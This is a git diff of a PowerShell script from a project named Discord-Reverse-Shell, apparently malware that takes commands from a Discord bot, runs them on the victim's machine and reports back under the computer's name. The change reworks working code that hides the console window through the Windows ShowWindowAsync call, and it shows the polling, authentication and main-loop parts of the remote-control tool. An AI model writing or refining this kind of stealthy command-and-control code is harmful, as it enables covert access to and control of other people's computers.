diff --git a/Discord-Reverse-Shell/main.ps1 b/Discord-Reverse-Shell/main.ps1 index d1e8515..2dfebef 100644 --- a/Discord-Reverse-Shell/main.ps1 +++ b/Discord-Reverse-Shell/main.ps1 @@ -36,6 +36,24 @@ $previouscmd = $null $authenticated = 0 $HideWindow = 1 # HIDE THE WINDOW - Change to 1 to hide the console window while running +# Uncomment $hide='y' below to hide the console + +# $hide='y' +if($hide -eq 'y'){ + $w=(Get-Process -PID $pid).MainWindowHandle + $a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);' + $t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass + if($w -ne [System.IntPtr]::Zero){ + $t::ShowWindowAsync($w,0) + }else{ + $Host.UI.RawUI.WindowTitle = 'xx' + $p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'}) + $w=$p.MainWindowHandle + $t::ShowWindowAsync($w,0) + } +} + + function PullMsg { $headers = @{ 'Authorization' = "Bot $token" @@ -74,24 +92,6 @@ function sendMsg { } } - -Function HideConsole{ - If ($HideWindow -gt 0){ - $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' - $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru - $hwnd = (Get-Process -PID $pid).MainWindowHandle - if($hwnd -ne [System.IntPtr]::Zero){ - $Type::ShowWindowAsync($hwnd, 0) - } - else{ - $Host.UI.RawUI.WindowTitle = 'hideme' - $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' }) - $hwnd = $Proc.MainWindowHandle - $Type::ShowWindowAsync($hwnd, 0) - } - } -} - Function Authenticate{ if ($response -like "$env:COMPUTERNAME"){ $script:authenticated = 1 @@ -107,7 +107,6 @@ Function Authenticate{ # =============================================================== MAIN LOOP ========================================================================= -HideConsole PullMsg $previouscmd = $response sendMsg -Message ":hourglass: **$env:COMPUTERNAME** | ``Session Waiting..`` :hourglass:" @@ -167,4 +166,4 @@ while ($true) { } } sleep 5 -} \ No newline at end of file +}